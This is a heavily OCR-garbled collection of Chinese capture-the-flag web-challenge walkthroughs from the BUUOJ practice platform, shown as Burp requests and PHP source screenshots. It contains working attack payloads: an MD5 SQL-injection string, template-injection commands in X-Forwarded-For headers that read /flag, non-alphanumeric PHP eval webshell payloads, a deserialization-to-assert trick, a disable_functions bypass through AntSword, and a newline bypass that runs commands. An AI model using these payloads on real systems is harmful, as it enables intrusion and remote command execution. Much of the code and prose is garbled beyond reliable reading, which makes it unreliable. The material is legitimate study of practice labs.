}JJ maw | rarais | iwdusis | iwa ) | mew | nEausis | oss |
Pre n Actions SEVN FiS Render n Actions
\1‘5 1 [8ET /leveldod.php?password=l HTTE/L.1 A 1 HTTE/L.l 200 OK
2 Host: 4842ecdf-ecel-486a-af0a-3213218falf0.node3 . buuoy.cn Z Server: openresty
5 Upgrade-Tnsecure—Requests: 1| : Date: Wed, 12 May 2021 13:00:30 GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4) AppleWsbEit/537.3E (KHTML, like Gecko) 4 Content-Type: text/html; charset=UTF-8
Chroms/85.0.4183.121 Safari/537.36 5 Connection: close
g 5 Accept: & Hint: select * from 'admin' wheres password=md5 (jpass, trus)
text/html, application/xhtml+xml, application/=ml; q=0.9, image/avif, imags/webp, image/apng, */*; 7 X-Powered-By: F/7.3.13
pplication/signed-exchange;v=h3;q=0.9 ¢ Content-Lengyn: 3107
& Referer: http://4942ecdé-=sce0-496a-aB0a-3213218falf0.noded buuoj.cn/leveldad. php S
7 Accept-Encoding: gzip, deflate 10 <!DOCTYPE html>
¢ Accept-Language: zh-CN, zh;g=0.9 11 <html lang="zh-CN">

PHP Fmd5 8 # N 1 55 — /AN S $0ik Ntrue, REIKR Z3EHINE, WREEIFZEB R orfF /78, B M ASQLIEN.
BRI 2R
129581926211651571912466741651878684928

mdSTE.%J:
\x06\xdaTOD\x9f\x8fo

ffifdyop
mdeE?LJ:
6\xc9]\x99\xe9!r,\xf9\xedb\x1c




F—MNEH, BB

A TZE | 4942ecd6-ece0-496a-a80a-3213218falf0.node3.buuoj.cn/levels91.php

Do You Like MD5?

B &y

11 <-=

2 %a = $6ET[ &’ 1;

3|9 = $.GET[ B 1,

4

51if(3a != $b &8 md5($a) == md5(3b)) 1

6 S wow, glzjin wants a girl friend.
T|-->

8

9

XEMERAKHANES, WATCEBFERAREE — T RIRPANINE 5 2 0e T k7R e Bl A .

< C A FZEE | 4942ecd6-ece0-496a-a80a-3213218fa1f0.node3.buuoj.cn/levell 14.php

<Iphp

error_reporting (0);
include “flag.php™;
highlight_file(_FILE_);

1£(3_POST[ paraml’ ]!==3_POST[ param?’ 1&&md5 (3_POST[  paraml’ ])===md5 ($_POST[ param2’ 1)) {

echo  $flag;
}
(x j—| Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar
LOAD SPLIT EXECUTE TEST -~ saLl -~ XSS -~ LFI ~ SSTI ~ ENCODING

URL
http://4942ecd6-ece0-496a-a80a-3213218fa1f0.node3.buuoj.cn/levels91.php?a[l=1a&b[]=2

HASHING

=EANESHTUAGEHoeI ki T



< C A FEE | 4942ecd6-ece(-496a-a80a-3213218fa1f0.node3.buuoj.cn/levell14.php

<Tphp

error_reporting ()
include “flag.php”;
highlight_file(_FILE_);

1£($_POST[ paraml’ 11==3_POST[’ paran?’ 1&&nd5 ($_POST [’ paranl’ 1) ===nd5 ($_POST[’ paran2’ 1)) {
echo  $flag;

} flag{b4a07f1e-4814-45f5-ab06-9c332c82449c¢}

[w j—| Elements Console Sources Network Performance Memaory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST - sqQLl - XSS - LFI - SSTI - ENCODING -~ HASHING -

URL
http://4942ecd6-ece0-496a-a80a-3213218fa1f0.node3.buuoj.cn/levell14.php

enctype

@ Enable POST application/x-www-form-urlencoded = ADD HEADER

Body
param1[]=1&param2[]=2

[BJDCTF2020]The mystery of ip



ip? X EXXF?

oW

5

o o

-

Pretty n Actions

GET /flag.php HTTE/1.1

Host: nodel.buuoj.cn:2B1E6

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win&d; x£4) AppleWsbKit/537.36 (KHIML, like Gecko)
Chrome/90.0.4430.212 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9, image/avif, image/webp, image/apng, */* ;g
pplication/signed-esxchangs;v=h3;c=0.9

¥-Forwarded-For:{{system("1ls")}} h______

Beferer: http://node3.buucj.cn:28166/ -

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.89

Cookie: UM distinctid=176a30edefeddT-020c1b73f0£04b-c791030-144000-176a30edeEfhbT
Connection: close

[BJDCTF2020]Mark loves cat

dirsearchE3#—TF, K3/ .gitH, Hgithack3KREL— TFIFL.

T

JE4s  Render n Actions %

<div class="container pansll">
=

<div class="row">
<div class="col-md-4">

</div>
<div class="col-md-4">
<div class="jumbotron pan">
<div class="form-group log">
<label>
<hlx
Your IP is : bootstrap
css
flag.php
header. php
hint.php
gy
index. php
Jouery
libs
templates_c
templates ©
</h2>
</ label>
</ div>

</div>
</div>
«<div class="col-md-4">

</ div>
- YT
Pretty \n Actions JF%  Render n Actions
GET /flag.php KTTR/1.1 NIEE <ul class="nav navbar-nav navhbar-right ul-headZ">
Host: node3.buuod.cn:2B1E6 r €li elaas=""
Upgrade- Insccure—Requests: 1 <a href="index.php">@Shana</a>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64) AppleWebKit/537.36 (KHIML, like Gecko) </Lix
Chrome/90.0.4430.212 Safaris537.3€ = </ul>
Accept: 56 </div>
text/html, application,/xhtmltxml, application/sml; q=0.9, image/avif, inags /webp, image/apng, * /*; g | ° </div>
pplication/signed-exchangs;v=h3;=0.9 i
¥-Forwarded-For: [ {systen("cat|/Elag"”)}) o2 </nav> )
Referer: http://noded.buuocy.cn:28 186/ <div elass="container panell">
Accept-Encoding: gzip, deflate o <div class="row">
Accept-Language: zh-Cl, zh;q=0.9 & <div class="col-md-4">
| Cookis: TM_distinctid=l76a30edcé=ddT-020c 573 £0£04b-c791035- 144000~ 176a30edeEfbhT i
1 Connection: closs o </div>
B 62 <div class="col-md-4">
- 63 <div class="junbotron pan">
B 64 «div class="form-group log"s
&5 <label>
<hZ>
Your IP is : £lag{aE2bfE7Ll-92c4-4a44-af36-flccBEEIE461)
&6 flag{ag2bfET1-02e4-4a34-aE36-FlocBEF2E4E L
</hi>
</labely
&7 </divy
</divs>
</div>
<div class="col-md-4">
. IV,



foreach($_POST as $x $y){
$$x = $y;

b

postftZHigettk S HE 2 ME

B %R M Tpost: $flag=flag

foreach($_GET as $x $y){

$$x = $3y;

foreach($_GET as $x $y){
if($_GET][ ] $x

exit($handsome);

if(!isset($_GET[ isset($_POST[
exit($yds);

if($ _POST[
exit($is);

echo $flag;

txAyds, $yNflag, Fill$$xRmn$yds, $$ythitRsflag, $flagiiREIEMFlag{XXXXXX}. $$x = $3y, HELR$yds=Flag{XXXXXX}.
IR

REEEflagsH, Bigexit($yds), MAILIERIflagT .




GET:yds=flag
POST:$flag=flag

< C A “FZ% | 7098baf1-2b07-4e23-b2b3-dfd82c224369.node3.buucj.cn/?yds=flag

SERVICE

x O ‘ Elements Console Sources Metwork Performance Memary Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST -~ saLr - X8s - LFI - SSTI ~ ENCODING -~ HASHING ~

http://7098baf1-2b07-4e23-b2b3-dfd82c224369.node3.buuoj.cn/?yds=flag

Enable POS application/x-www-form-urlencoded - ADD HEADER

Console  What's New Issues X

BEREIEFEFLAG

[ASIS 2019]Unicorn shop

WORK



I E R —MNEEF i, KRA=ARAMI M, —R1377, FUREWLTHN A mMmE, HeekRAag
BRBE N L — AR

1R

Only one char(?) allowed!

BRI RN
1HRT L

<html lans="zh-CH">
<head>

<{meta charset="utf-28"3<!--Ah really important, seriously. —->

<meta http-equiv="¥-UA-Compatible” conterg="IE=edze”>

<{meta name= viewport® content="width=devile-width, initial-scale=1">
<titlednicorn sheop</titlel

¢l—— Don’ t be frustrated by the same view we ve changed the challenze content. ——»
<!-- Bootstrap core C35 —->

Pon e M R el e e e ——

XEEWTER, FTUES B855I % 4 i 8



BAVE XA P 554 R KT thousand AN FRF https://www. compart.com/en/unicode/

——
. ——

Name: Ethiopic Number Ten Thousand"

Numeric Value: 10000"

Unicode Version: 3.0 (September 1999) %!

W LLE BB AR K HUE £ 10000

B utf-84m 5 2 0xE1 0x8D 0xBC
AT OxHe K%, 152 %E1%8D%BC
FEIX B By i

[NPUCTF2020]ReadlezPHP

B FE YRS & B time.php?source
U 19 43RG :

public $a;

public $b;

public function __ construct(){
$this->a 5
$this->b

1
J

public function _ destruct(){
$a $this ;
$b $this
echo $b(%a);

1
J
c new HelloPhp;

if(isset($_GET][ 1)
{

highlight file(__ FILE_ );
die(9);

$ppp = unserialize($ GET[



Hib(a)mT LA# iEb=assert,a=phpinfo ->assert(phpinfo())

echo serialize($c);

FEphpinfo I T ctri+fi% K flag B 7] 75 Fflag

[MRCTF2020]PYWebsite

17 <!-- Bootstrap CSS File -->

18 <link href="lib/bootstrap/css/bootstrap. min. css” rel="stylesheet”>
19 <!-- Libraries C55 Files -->

20 <link href="1ibfionicons/css/ionicons. min. css” rel="styleshest™>
21 <!-- Wain Stylesheet File -->

22 <link href="css/style. css” rel="styleshest”>

23 {geript type="text/javascript” sro=".fjs/md5. ig”><{/ scripty

24 | <scriptr

25

26 function encicode) |

27 hash = hex mdf(code) ;
28 return hash;

29 }

function validate() |
var code = document. getElementById("veode”). value:
if (code '= 7731
if(hex mdb(code) == “0cdddal??3c0b2E0829d03eadb8d055:") |
alert ("HRIEE T 8AE! ),
window. location = 7. /flaz. php”
telse/

} alert (”'{hE)]?E*EﬁQZ:'IEﬁE‘ )

telse/
} alert ("IEHA B ;

P SO - TN I S I TS R TS TS I S B TSI T TN T
[ i e N s o Y - MO P T e I e

E PR K . Mag.phpBEAT 15 14 .

& C A 2% | node3.buuoj.cn:29541/flag.php

EFIERE

Hit, BEEFIFIHMEZEM, (RIFA 7!

HELICWLENIPET 7, BAMREEWX



SEFEEARWEY, bR IESENREC, e AR/LAERHag

HIE&xff:127.0.0.1

Raw | Params | Headers | Hex

Raw | Headers | Hex

n Actions

1 GET /flag.php HTTE/1.1
Host: noded.buuoj.cn:289541
3 Cache-Control: max-age=0

Upgrade-Insecure—Req s: 1

5 User-Agent: Mozilla/5.0 ndows NT 10.0; Win&4; x&4) AppleWshKit/537.3& (KHTML, like Gecko)
Chrome/90.0.4430.212 Safardi
Accept:

@

text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */* ; q
pplication/signed-exchange;v=h3;q=0.8

Accept-Encoding: gzip, deflate

¢ Accept-Language: zh—CH,zh;c=0.9

S Cookie: UM_distinctid=17ta30edceedf87-020clb73£0£04L-c7910309-144000-176a30edcefhb?

o Connection: close

1 X-Forwarded-For:127.0.0.1

[NCTF2019]Fake XML cookbook

"L

J&#4  Render n Actions %

1 HTTP/1.1 200 OK

Date: Mon, 17 May 2021 1Z2:45:20 GMT

3 Server: Apache/2.4.38 (Debian)
¥-Powered-By: PHE/7.2.25

S Vary: Accept-Encoding

& Content-Length: 243

7 Connection: close

Content—Type: text/html; charsst=UTF-8

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<img src
<p>
0000+ 1ag0000000000
</p>
<p style="color:white"s
flag{B=43840b-2fdb-4a51-8c2a-ebedat5f7708}
</p>
</body>
</html>

./img/2.9pg" width="300" height="300" />



v e | 6027c262-ef7c-4c23-bfad-2c4adce21d27.node3 . buuoj.cn

NCTF2019

(&

csdn.net/qg_S

wp

[BSidesCF 2019]Futurella

BEELRE Bfag

[ % K Pk 2019]RCE ME

<Yphp
error_reporting (0]
1f(iz=et (3 GET[ code’ 100 1
$code=3_GET[  code’ 1;
ifi{strlen($code) »40) |
die("This is too Lone. ™)

iflpres_match(”/[4-Za-z0-9]+/", Jcode)) {
diel N0, "),

Deval ($oode) ;
}
glsef
highlight_file(_ FILE_ );
)

T

W aH: GETIREXZ Ecode
BN AERKEAKT40
WA S FRAHT


https://blog.csdn.net/SopRomeo/article/details/105913611

B phpHIfE &

code=(

8F%97%8F%96%91%99%90) () ;

22 | ¢7cc7886-d900-43f2-9672-781d6a5bceb5.node3.buuoj.cn/?code=(~%8F%97%8F%96%91%99%90)();

My ST

arg_separator.output & &
auto_append _file

auto_globals jit On On
auto_prepend_file

browscap

default_charset UTF-8 UTF-8
default_mimetype text/html text/html

disable classes

disable_functions

disable_functionsZEF ) RAREHE R %

Hi&—>shelliE _E (8

<?php

error_reporting(9);

$a 5

$b=urlencode(~%a);

code=(~%9E%8C

8C%9A%8D%8B) (

EREWE, A

${%fekfelkfekife

al%b9%bb%aal}[ ] (${%fekfelfelte

pentl_alarm,pentl_fork, pentl_waitpid, pentl_wait,pentl
_wifexited, pcntl_wifstopped,pentl_wifsignaled, pentl_
wifcontinued, pentl_wexitstatus,pentl_wtermsig,pentl
_wstopsig,pcntl_signal,pentl_signal_get_handler,pcnt
|_signal_dispatch,pcntl_get_last_error,pentl_strerror,
pentl_sigprocmask,pentl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec,pentl_getpriority,pentl_setpriority,pc
ntl_async_signals,system,exec,shell_exec,popen,proc
_open,passthru,symlink link,syslog,imap_open,Id.dl

al%zb9%bb%aa}[__1);

_=assert

pentl_alarm,pentl_fork, pentl_waitpid,pentl_wait,pentl
_wifexited,pentl_wifstopped,pentl_wifsignaled, pentl_
wifcontinued,pentl_wexitstatus,pentl_wtermsig,pentl
_wstopsig,pentl_signal,pentl_signal_get_handler,pcnt
|_signal_dispatch,pcntl_get_last_error,pentl_strerror,
pentl_sigprocmask, pentl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec,pentl_getpriority,pentl_setpriority,pc
ntl_async_signals,system,exec,shell exec,popen,proc
_open,passthru,symlink link,sysiog,imap_open,id,di

D77%9A%897%9E%937%D7%DB%A0%AF %BO%AC%AB%AA%DD7%8B%9A%8C%8B%DD%A2%D6%D6 ) ;

__=eval($_POST[%27a%27])




IERE B

D HRER (19)
=M /

+ I var
bin
boot
dev
etc
home
lib
libo4
media
mnt
opt
proc
root
run

shin

flag B ¥ Fflag
i iZ% 2 B Freadflag T

D FEE
AntSword H/iE HO &
4 H [0117.21.200.165

*, ¢&5tdisable_functions

= HEE®R (10)
URL3hHE
http:i/c?oc?&&ﬁ—d900—43f2—9q
http://c7cc7886-d900-43f2-967
http://153bca58-edbb-40c2-93f
http://07e70f3e-bf00-4809-932
http://bbc77022-d472-4bch-98:
http://ca533257-1526-4e5f-bac
http://114.67.246.176:10704/U
http://127.0.0.1/upload-labs/up
http://192.168.3.15/upload-labs
http://192.168.1.5/pikachufvul/

< | O x#FER (22)

O v +LE CRE #IBF

B

cw
home

lib

lib64
media

mnt

opt

proc

root

run

sbin

srv

sys

tmp

usr

var
.dockerenv

flag

DO o00oCcbooopopoooocooOot

readflag

"
B

ZmilE

[0 117.21.200.165 [0 117.21.200.165

[ et

™ #3d disable_functions-117.21.200.165

O EEFER |+ » Hig

LD_PRELOAD
Fastcgi/PHP_FPM

& B

Apache_mod_cgi

JSON_Serializer_UAF
PHP7_GC_UAF
PHP7_Backtrace_UAF ||~

& B

J Bl AR R

PHP74_FFI

RBE ~

<
=R Fol Bt
2018-10-20 10:40:06 6b 0755
2018-12-29 04:23:49 30b 0755
2018-12-26 00:00:00 34b 0755
2018-12-26 00:00:00 6b 0755
2018-12-26 00:00:00 6b 0755
2018-12-26 00:00:00 6b 0755
2021-06-01 09:20:13 0b 0555
2019-11-21 13:33:00 22b 0700
2018-12-29 04:32:42 21b 0755
2018-12-29 04:32:37 20b 0755
2018-12-26 00:00:00 6b 0755
2021-05-16 16:40:01 0b 0555
2018-12-29 06:51:27 6b 1777
2018-12-26 00:00:00 19b 0755
2018-12-29 04:32:38 17b 0755
2021-06-01 09:20:13 Ob 0755
2021-06-01 09:20:14 43 b 0400
2019-11-21 13:32:10 8.65 Kb 6775
-0 X XBx%Q)
w0 A i

i Shell{fzE S I

PHPRiA 7.0 =

PHP {5 64

BERG Linux

Jvar/www/htn

di x

putenv v

error_reporting v

error_log vV

file_put_contents v

file_get_contenis v



12 AR
AntSword #BiE B[O #Ed
4 S (5 117.21.200.165 [0 117.21.200.165 [ 117.21.200.165 > 117.21.200.165

Linux ees75306b5! 4.15.164-0419164-generic $2020123( 42 SMP Wed Dec 30 12:21:05 UTC
www—data

[ #id disable_functions-117.21.200.165

\ i Shell 125

O HEERA ~

7.0
64
Linux
[CISCN2019 4 % B 3£ [X ]Web11
VVvi Iy usec s
Do you need to get the public IP address ? Do you have the requirements to obtain the servers’ public IP address? Whatever
the reason,sometimes a public IP address API are useful.
You should use this because:
» You can initiate requests without any limit.
= Does not record the visitor information.
APl Usage
- APIURI Type Sample Output
get IP http://node4.buuoj.cn:29727/api text/html 8.8.8.8
get XFF(X-Forwarded-For) http://noded.buuoj.cn:29727/xff text/html 8.8.8.8
Connection

Request-Header

GET / HTTP/2.@

Host: www.ip.la

Accept: text/html,application/xhtml+xml,application/xml;q=0.%,image/webp,image/apng,*/*;q=0.8,application/s:
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh-TW;q=8.9,zh;g=08.8

Cache-Control: max-age=0

Dnt: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.8.37)

Build With Smarty | ¥===—_

X4 1.Build With Smarty! 2.IP 3.X-Forwarded-For



IEERIN: X-Forwarded-For:127.0.0.1

Cache-Control: max—age=0

Upgrade-Insscurs-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; xE4) AppleWebKit,/537.38 (KHTML, like Gecko) Chrome/591.0.4472.124 5
Accept: text/html, application/xhtml+txml, application/xml;q=0.9, image/avif, image/webyp, image/apng, */*;q=0.8, applicatic
Accept—Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9

Cookie: UM distinctid=17a70c4eb7121c-00bb4fafefds25-6373264-144000-17a70c4ekb724ad

Connection: close

| ¥-Forwarded-For:127.0.0.1

= T TR TE R T TR

W

DG ) G

Response

M Raw  Hex Render \n

L2 </head>
L3 <body>
L4 <div class="container">
LS <div class="row">
L& <div style="float:left;">
L7 <hlz>
IF
</hl>
L8 <hl class="hidden-x= hidden-sm">
A Simple Public IP Address API
</hl>
L3 </ divs

10 <div style="float:right;margin-top:30px;">
Current IP:127.0.0.1
</div>
1 </div>

X-Forwarded-For{7+7}

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4d; x64) AppleWebKit/537.36 (KHTML, like tecko) Chroms/91.0.4472.124 Safar.
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image,/avif, image/webp, image/apng, */*;=0.8, application/s:
Accept-Encoding: gzip, deflate

Acecept-Language: zh-CN, zh;q=0.9

Cookie: UM distinctid=17a70c4eb71Z1lc-00bh4fafeidi25-6373264-144000-17a70c4eh724ad

L0 Connection: close

¥X-Forwarded-For: {7+7}

(]

SET R

[TV

@ @} |E| |E| | Search...
Response

Raw Hex Render \n =

e

<link rel="styleshset" href="./css/bootstrap.min.css">

1z </head>
13 <body>
14 <div class="container">
15 <div class="row">
16 <div style="float:left;">
17 <hlz>
IF
</hl>

18 <hZ class="hidden-x= hidden-=sm">
A Simple Public IP Address API
</hZ>

14 P TN



< = Tl W T
20 <div style="float:right;margin-top:30px=;">
Current IP:14
</div>

YR SE & smarty, _Esmarty® Flpayload

phpinfo()}{
system(
readfile(

show_source(

system(

T
1 ®ET / HITR/L.1
Host: noded.buucj.en:29727
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Recquests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; xE4) AppleW=bKit/537.36 (KHTML, like Gecko) Chrome/S81.0.4472.124 Safari/537.3¢
Accept: text/htwl, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, imags/apng, */*; ¢=0.8, application/signed-exchange;v=h3;q=0.9
Accept—Encoding: gzip, deflate
% Accept-Language: zh-CN, zh;q=0.9
Cookie: UM distinctid=17a70c4eh712le-00bb4fafe8d525-6373264-144000-17a70c4ehT24ad
L0 Connection: close
L1 H-Forwarded-For:{if readfile('/flag')}{/if}

1o

0 matches

D (D) [
Response

Raw Hex Render \n =

15 <div class="row">
<div style="float:left;">
1 <hl>
IFp
</hl>
18 <hZ class="hidden-xs hidden-sm">
A Simple Public IP Address API
</hl>
</div>
20 <div style="float:right;margin-top:30px;">
Current IP:<?php §flag="flag{fcbeelfa-lalkh-4805-8a86-987d3£30cc70}";
1 </div>
</div>

o

24 <div class="why row">

[FBCTF2019]RCEService

Web Adminstration Interface

Enter command as JSON: | |

T jsontk =X

cmd={

)



< C A 7% | 060d1981-6ela-43ed-8e47-87a55ed223b9.noded.buuoj.cn/?cmd={"cmd":"Is"}

Web Adminstration Interface

Attempting to run command:
index.php

Enter command as JSON:|

BEt2H
[Z Mok 2 0P/ TR

php
putenv (

if (isset($_REQUEST[ 1)) |
$json = $_REQUEST[ K

if (!is_string($json)) {
echo
} elseif (preg_match(

, $3son)) {
echo
- else {

echo

$cmd = json_decode($json, true)[
if ($cmd NULL) {
system($cmd) ;

} else {
echo

1
J

echo

#%—: B ANpreg_matchR & X ILEEE—1T, FrCAX Eu] LA 2 T#1T 508

PR R LUE Blputenv(‘PATH=/nome/rceservice/jail \EZR BN T HIEL &, RITABEHALN BERAHREG W4
catfy & 7E/bind R 1

B LA Hipayload , %0AR #ATHF

cmd={%0@A OA}



< C A FZ2 | 060d1981-6e1a-43ed-8ed7-87a55ed223b9.noded.buuoj.cn/?cmd={%0A"cmd":" /bin/cat%20/home/rceservice/flag"%0A}

Web Adminstration Interface

Attempting to run command:
flag{615b435b-faae-4251-ba37-0a2f8b238f3f}

Enter command as JSON:| |

[b01lers2020]Welcome to Earth
AR —& )L /die/

@] A FZ=E | 2eacSef6-abb8-4434-81cf-88bff295217e.noded.buuoj.cn/die/

You died and so did everyone else, bad job, try again

MEEE:

Pretty IGEIUM Hex \n =

1 GET /| HTTE/L.1

Host: ZeacSeff-abbi-4434-81cf-B8LEf205217 . noded . buuoj.cn

3 Upgrade-Insecure-Requests: |

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chromes/91.0.4472.124 Safari/537.3€

Accept: text/html, application/xhtml+xml, application/xml;c=0.9, image/avif, image/webp, image/apng, */*;g=0.8, application/signed-exchange;v=h3;q=0
Beferer: http://ZeacSeff-abbB8-4434-81cf-88bE£295217 . node4d.bunoj.cn/

Accept—Encoding: gzip, deflate

% Accept-Language: zh-CN, zh;q=0.9

Cookie: UM _distinctid=17a70c4eb712 le-00bb4fafe8di25-6373264-144000-17a70c4eh724ad

J Connection: close

=]

)

a



2483 (<) (3] [search-

Response

Raw Hex Render \n =

] event = ever;t | | window.svent;
il if (event.keyCode == 27) {

1 event.preventDefault();
2 window.location = "/chase/";

3 }
el=e diei);

4 i

5

3 function sleep(ms) |

7 return new Promise (resolve => setTimeout (resolve, ms));

8 }

EI async function dietimer() {

1 await sleep (10000 ;
1 GET /chasel HTTE/L.1
2 Host: ZeacSefb-abhi8-4434-81cf-88bE£20952 172 . noded . buucj.cn
3 Upgrade-Insecure-Reguests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4) AppleWsbKit/537.3& (KHTML, like Gec
5 Accept: text/html, application/xhtml+xwl, application/xml;q=0.9, image/avif, image/webp, imag
& Referer: http://leacieff-abbi-4434-81lcf-88bLE£295217= . noded . buuoj.cn/

Accept-BEncoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9
Cookie: UM distinctid=17a70c4eb712lc-00bb4fafeBdi25-E373264-144000-17a70c4eb724ad

10 Connection: close

[T<I*+)

[N

® @ |E| |E| | Search...

Response

Raw Hex Render \n =

a5 }

£

37 function die) {

38 window.location = "/die/";

39 }

40

41 function lefti) {

42 window.location = "/die/";

a3 }

44

45 function leftti) |

46 window.location = "/leftt/";

a7 }

44 function righti) {
window.location = "/die/";

4]

51 }
@ @ |§| |§| | Search...

° I
GET /leftt) HTTR/1.1
Host: Zeachefb-akbi-4434-81cf-88LE£295217e . noded . buucj.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinkE4; =E4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Saf
Accept: text/html, application/xhtml+txml, application/xml;q=0.9, image/avif, images/webp, images/apng, */*; =0.8, application
Referer: http://leacS5ef6-abbi-4434-81lcf-88bff295217=. node4.buuoj.cn/
Accept-Encoding: gzip, deflate

[ TY S WU % I

-] &




¢ Accept-Language: sh-CN,zh;q=U.Y
S Cookie: UM distinctid=17a70c4eb71Z1c-00bkh4faf68d525-6373264-144000-17a70cd4eh7Z4ad

10 Connection: close

D& (€)(3) [[search-

Response
Raw Hex Render \n =
SHOOT IT
</hl>
15 <p>
You'wve got the bogey in your sights, take the shot!
</ p=
16 <img

|

sre="/static/img/locked. png"”

alt="locked on"

style="width:&0vw; "

/=

</hr>

<button onClick="window.location="'/dis/"'">
Take the shot

=
T B ]

[ 2% T O T % B P

3

</button>
23 <!—— <hutton onClick="window.location='/shoot,'">Take the shot</button> -->
24 </body>

Pretty JREIYE Hex \n =

GET /shoot) HTTE/L.1

Host: ZeacSefb-abb8-4434-081lcf-88L££2852 172 . noded.buuci.cn

Tpgrade—Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =x£4) AppleWsbKit/537.3€ (KHTML, like Gecko) Chroms/91.0.4472.114 Safari/537.3¢

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=h3; q=0
& Referer: http://leacSeff-abbi-4434-81cf-08LE££2095217=.node4.buucs.cn/

7 Acecept-Encoding: gzip, deflate

[ T U

2 Accept-Language: zh-CN, zh;q=0.9
S Cookie: UM distinctid=17a70c4eb7121lc-00bb4fateddi25-6373264-144000-17a70c4eh724ad
L0 Connection: close

(X

@ @ |E| |§| | Search...
Response

Raw Hex Render \n =

11 <title>
Welcome to Earth
</title>
2 </ head>
L3 <hbody>
4 <hl=>
YOU SHOT IT DOWN!
</hl>
LS <p>
Well done! ¥ou also crash in the process
</p>
L6 <img sre="/static/img/parachute.png” alt="parachute" style="width:&0vw;" />
L7 <button onClick="window.location='/door/'">
Continue \
</button> .

L8 </body>

GET /door) HITR/1.1

Host: Zeaclefe-abbi-4434-8lcf-88bE£295217e . noded . buucj.cn

Upgrade-Insecurs—Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x£64) AppleWebKit/537.3€ (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537
Accept: text/html, application/xhtml+xml, application/xml; =0.9, image/avif, image /webp, image/apng, */*;=0.8, application/signed

[T TR



& Reterer: http://leacoetb-abbb-4434-5lct-dibttiy521/e. node4 . bunoj.cn/
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9

Cookie: UM distinctid=17a70c4eb7T12 lc-00kbb4fafE8d525-6373264-144000-17a70c4eb724ad
10 Connection: close

U]

[T

QB (&) [seorer
Response

Raw Hex Render \n =

1 HTTE/L.1 200 CK

Z Ferver: openresty

3 Date: Thu, 08 Jul 2021 Oe:34:40 GMT

4 Content-Type: text/html; charset=utf-i
5 Content-Length: 20334

6 Connection: close

2 <!DOCTYPE html:>
9 <html>
10 <head>
11 <titles
Welcome to Earth
</title>
12 <script sre="/static/js/door.js">
</script>

13 </head>
14 <body>

@{é} |z| |§| | Search...

e R e e —
1 GET /static/qs/door.qs/ HTTE/Ll.l

Host: IZeaclefb-abhi-4434-81cf-88bf£2085217e.noded. buucj.cn

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =&4) AppleWebKit/537.36 (KHTML, like Gecko) Chrowe/91.0.4472.124 safe
Accept: text/html, application/xhtml+xml, application/xmwl;=0.9, image/avif, image/webp, image/apng, */*;=0.8, application/
Referer: http://leacSefb-abbi-4434-81cf-88bLEf2052172. noded . bunoj.cn/

Accept-Encoding: gzip, deflate

Accept-Language: zh—CH, zh;q=0.09

Cookie: UM distinctid=17a70c4eb7121lc-00bb4fafefds2o-£373264-144000-17a70c4eh724ad

10 Connection: close

[, I R FUR 8 )

=]

[Taps)

(D)5 [€)[3) [ searen-
Response

|
Raw Hex FRender \n =

o Expires: Sat, 07 Aug 2021 0£:38:07 GMT
10 Last-Modified: Sat, 21 Mar 2020 13:00:39 GMT

function check door() {
var all radio = document.getBlementByIdi|"door form").elements;
var guess = null;

=
[ TS SR

for (var i = 0;

i < all radio.length;

it+)

if (all radio[i].checked) guess = all radio[i].valus;

I
(ui]

=
-1

oo

rand = Math.floor (Math.random() * 3E0);

if (rand == guess) window.location = "/open/";

else window.location = "/di=/"; \

I S T S R R

N SR



N \ -
(NG (&[S sazren.. )

1 GET /fopen/ HTTE/L.1
Host: ZeacSeff-abb8-4434-8lcf-88L££295217= . noded . buucj.cn

3 Upgrade-Insscure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4) AppleWsbKit/537.36 (EHTML, like Gecko) Chrome/91.0.4472.124 Safari
5 Accept: text/html, application/xhtml+wml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;g=0.8, application/si
& Referer: http://leacSeff-abbi-4434-81lcf-B8LE£295217=. nod=4.buuoj.cn/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9

Cookie: UM distinctid=17a70c4eb71Zlc-00bb4fafeddi2o-£373264-144000-17a70c4eh724ad
Connection: close

[Tals:)

b o

@ @} |E| |E| | Search...
Response

Raw Hex Render \n =

HTTE/1.1 200 OK

Server: openresty

Date: Thu, 08 Jul Z021 0E:38:42 GMT
Content-Type: text/html; charset=utf-3
Content-Length: 334

Connection: close

L B S R N

=] &n

